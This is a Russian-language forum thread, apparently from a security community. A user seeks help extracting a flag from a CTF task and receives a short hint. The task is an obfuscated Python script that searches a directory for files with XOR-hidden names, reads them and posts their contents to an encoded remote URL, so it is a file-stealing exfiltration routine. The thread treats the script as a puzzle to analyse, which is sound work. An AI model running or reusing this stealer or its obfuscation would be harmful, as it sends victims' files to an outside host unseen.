• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Расшифровка

Marshall Price

New member
03.11.2021
2
0
BIT
0
Добрый день. Решаю одну задачу, которую мне дали, но проблема, что в python не силен.

У нас есть файл .py с кодом. Суть задачи, достать из этого кода какую-то информацию для перехода на следующую задачу. Это может быть ссылка, флаг, название чего-то или ещё что-то.

Возможно надо удалить какую-то часть кода и оставить другую, чтобы что-то заработало. Вот изначальный код:


Python:
import glob 
import requests
import sys

r = [
    "7368434179374469535a5265356836",
    "6f71626d4377774173794679653962584c71426479",
    "6e56635474655042464f4c4a744c53317674485247",
]
o = [
    "000d20331c431b0f3a36374b510755",
    "1c04120831280424100b230d3a5f0b34295f361c0d",
    "3d1d4e1731370439227b7b7e2b3e6005124526353a",
]
j = {}
x = [
    _
    for _ in glob.glob("/neroot/**/*", recursive=True)
    if _.split("/")[-1]
    in [
        "".join(
            [
                chr(ord(a) ^ ord(b))
                for a, b in zip(
                    bytes.fromhex(o[i]).decode(), bytes.fromhex(r[i]).decode()
                )
            ]
        )
        for i in range(len(r))
    ]
]
sys.exit(0) if not x else None

for __ in x:
    ___ = open(__, "r")
    j[__] = ___.read()

(
    lambda _, __, ___, ____, _____, ______, _______, ________: getattr(
        __import__("requests"), "post"
    )(
        (lambda _, __, ___: _(_, __, ___))(
            lambda _, __, ___: bytes([___ % __]) + _(_, __, ___ // __)
            if ___
            else (lambda: _).__code__.co_lnotab,
            _ << ________,
            (
                ((_ << (((_ << ___) + _))) - ((___ << __) - _))
                << ((___ << _______) + (_______ << _))
            )
            - (((((___ << __) - _) << _____) - _______) << ((___ << _______) + ___))
            - (
                (((((_ << ___) + _)) << ______) + _______)
                << ((___ << _______) - (_____ << _))
            )
            - (
                ((((___ << __) + _) << ____) - _______)
                << ((((___ << __) - _) << _____) + (___ << __))
            )
            - (((_____ << ______) + _____) << ((((___ << __) - _) << _____) + _))
            - (((_____ << _____) - ___) << ((((___ << __) - _) << _____) - (_ << ___)))
            + (((___ << _______) + ___) << ((((_____ << __) + _) << ____) - ___))
            + ((((((_ << ___) + _)) << __) - _) << ((_____ << ______) + _____))
            - (
                ((((_____ << __) - _) << ____) + _)
                << ((((_____ << __) - _) << ____) + _______)
            )
            - (
                (((((_ << ___) + _)) << _____) - ___)
                << ((((_____ << __) - _) << ____) - (_ << __))
            )
            + (
                ((((___ << __) - _) << _____) + ((___ << __) - _))
                << (((((_ << ___) + _)) << _____))
            )
            + (
                ((((___ << __) + _) << ____) + _)
                << ((((_ << ____) + _) << ____) + (___ << _))
            )
            - (
                ((((___ << __) + _) << ____) - _______)
                << ((((_ << ____) + _) << ____) - (_ << __))
            )
            - (((_______ << _____) + _) << ((_ << ________) + (_ << _)))
            - (
                ((((_____ << __) + _) << ____) + _______)
                << ((((_ << ____) - _) << ____) + _______)
            )
            - (
                ((((___ << __) - _) << ____) + _______)
                << ((((_ << ____) - _) << ____) - (_ << _))
            )
            + (((((_____ << __) + _) << ____) + _) << ((_______ << _____) + (_ << _)))
            - (((((___ << __) + _) << ____) + ___) << ((_______ << _____) - (_ << ___)))
            + (
                ((((_____ << __) - _) << ____) - ___)
                << ((((___ << __) + _) << ____) - (_ << _))
            )
            + (((((_____ << __) - _) << ___) + _) << ((___ << ______) + _____))
            + (((_______ << _____) - ___) << ((___ << ______) - (___ << _)))
            - (((((___ << __) + _) << ____) - ___) << ((((___ << __) - _) << ____) + _))
            - (
                ((((_____ << __) - _) << ____) - _______)
                << ((_____ << _____) + _______)
            )
            - (((_______ << _____) + _____) << ((_____ << _____) - ___))
            + (((___ << _____) - ___) << (((((_ << ___) + _)) << ____) + (_ << _)))
            + (
                ((((_ << ____) - _) << ____) - _______)
                << ((((_ << ____) + _) << ___) - _)
            )
            - (((((_ << ____) - _) << ___) + ___) << ((_ << _______) - (_ << _)))
            - ((((((_ << ___) + _)) << __) - _) << ((((_ << ____) - _) << ___) - _))
            - (((_______ << ____) - ___) << ((_______ << ____) - ___))
            + (((((___ << __) - _) << ____) - ___) << ((___ << _____) + ___))
            + (((_______ << __) - _) << ((___ << _____) - ___))
            + (((_______ << __) - _) << ((((___ << __) - _) << ___) - ___))
            + (((___ << _____) - ___) << (((((_ << ___) + _)) << ___) + (_ << _)))
            + (((_______ << __) + _) << ((_ << ______) + (_ << _)))
            + (((___ << _____) + _) << ((_______ << ___)))
            + (((___ << ____) - _) << ((___ << ____)))
            + (((___ << ____) - _) << ((_____ << ___)))
            + (((_______ << __) + _) << ((_ << _____) + _))
            + (_______ << ((_______ << __)))
            + (((_______ << __) + _) << (((((_ << ___) + _)) << _)))
            + (((_______ << __) + _) << ((_____ << _)))
            + ((((___ << __) + _)) << ___),
        ),
        json=j,
    )
)(
    *(lambda _, __, ___: _(_, __, ___))(
        (
            lambda _, __, ___: [__(___[(lambda: _).__code__.co_nlocals])]
            + _(_, __, ___[(lambda _: _).__code__.co_nlocals :])
            if ___
            else []
        ),
        lambda _: _.__code__.co_argcount,
        (
            lambda _: _,
            lambda _, __: _,
            lambda _, __, ___: _,
            lambda _, __, ___, ____: _,
            lambda _, __, ___, ____, _____: _,
            lambda _, __, ___, ____, _____, ______: _,
            lambda _, __, ___, ____, _____, ______, _______: _,
            lambda _, __, ___, ____, _____, ______, _______, ________: _,
        ),
    )
)
Этот код ничего не дает мне, поэтому я решил попробовать удалить последнюю часть с lambda и выше цикл for тоже убрать. Как я понял, здесь есть шифрование в hex. Я решил тогда сделать такой код:
Python:
import glob
import requests
import sys
r = ['7368434179374469535a5265356836', '6f71626d4377774173794679653962584c71426479', '6e56635474655042464f4c4a744c53317674485247'];
o = ['000d20331c431b0f3a36374b510755', '1c04120831280424100b230d3a5f0b34295f361c0d', '3d1d4e1731370439227b7b7e2b3e6005124526353a'];
j = {};
x = [_ for _ in glob.glob('/neroot/**/*', recursive=True) if _.split('/')[-1] in [''.join([chr(ord(a) ^ ord(b)) for a,b in zip(bytes.fromhex(o[i]).decode(), bytes.fromhex(r[i]).decode())]) for i in range(len(r))]];
print(zip(bytes.fromhex(o[1]).decode(), bytes.fromhex(r[1]).decode()))
sys.exit(0) if not x else None;
Данный код уже выводит // "0x7fcafea87300" каждый раз набор символов меняется здесь.


Я пробовал расшифровать те значения в r и o и получилось как-то так:
o = 3C:67KQU 1($#:_4)_6 =N179"{{~+>`E&5:
r = shCAy7DiSZRe5h6 oqbmCwwAsyFye9bXLqBdy nVcTtePBFOLJtLS1vtHRG

Похоже опять на какой-то шифр или набор букв.
Так вот задача, как это решить, может быть как-то можно расшифровать это или привести в нормальный вид, возможно иначе изменить код, чтобы получился результат совсем другой. Главное как-то из этого кода добыть флаг CTF. Буду благодарен за помощь.
 

f22

Codeby Academy
Gold Team
05.05.2019
1 928
226
BIT
1 696
r = ['7368434179374469535a5265356836', '6f71626d4377774173794679653962584c71426479', '6e56635474655042464f4c4a744c53317674485247'];
o = ['000d20331c431b0f3a36374b510755', '1c04120831280424100b230d3a5f0b34295f361c0d', '3d1d4e1731370439227b7b7e2b3e6005124526353a'];
Строки из этих списков есть в отчёте с страницы...
Речь идёт о некоем файле /tmp/highiq.py

А отчёт как-то связан с default linux file cookbook

Попробуйте в эту сторону копнуть
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!